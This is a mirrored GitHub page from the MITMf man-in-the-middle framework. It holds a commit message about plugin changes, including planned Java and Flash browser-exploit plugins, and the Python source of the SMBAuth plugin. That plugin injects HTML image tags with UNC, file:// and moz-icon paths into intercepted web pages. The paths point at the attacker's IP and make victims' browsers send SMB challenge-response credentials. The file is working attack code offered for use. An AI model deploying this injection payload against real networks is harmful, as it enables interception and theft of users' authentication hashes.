mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
The way MITMf hooks SSLstrip's functions has been modified to improve plugin code readability, additionally corrected some useless function hooks that were placed in early framework realeases and never removed. Replace plugin has been given it's own section in the config file currently the BeedAutorun and Javapwn plugins have to be cleaned up... BrowserProfile plugin's Pinlady code has been updated to the latest version (v0.9.0) and will now detect Flash player's version Javapwn plugin will be renamed to BrowserPwn and will support Flash exploits too , as supposed to only Java exploits Since we now have a built in SMB server, removed options to specify a host in the SMBauth plugin Tweaked the output of some plugins
44 lines
1.6 KiB
Python
44 lines
1.6 KiB
Python
#!/usr/bin/env python2.7
|
|
|
|
# Copyright (c) 2014-2016 Marcello Salvati
|
|
#
|
|
# This program is free software; you can redistribute it and/or
|
|
# modify it under the terms of the GNU General Public License as
|
|
# published by the Free Software Foundation; either version 3 of the
|
|
# License, or (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful, but
|
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
# General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program; if not, write to the Free Software
|
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
|
# USA
|
|
#
|
|
|
|
from core.utils import SystemConfig
|
|
from plugins.plugin import Plugin
|
|
from plugins.Inject import Inject
|
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|
|
|
class SMBAuth(Plugin):
|
|
name = "SMBAuth"
|
|
optname = "smbauth"
|
|
desc = "Evoke SMB challenge-response auth attempts"
|
|
version = "0.1"
|
|
has_opts = False
|
|
|
|
def initialize(self, options):
|
|
self.target_ip = SystemConfig.getIP(options.interface)
|
|
|
|
inject = Inject()
|
|
inject.initialize(options)
|
|
inject.html_payload = self._get_data()
|
|
ProxyPlugins.getInstance().addPlugin(inject)
|
|
|
|
def _get_data(self):
|
|
return '<img src=\"\\\\%s\\image.jpg\">'\
|
|
'<img src=\"file://///%s\\image.jpg\">'\
|
|
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
|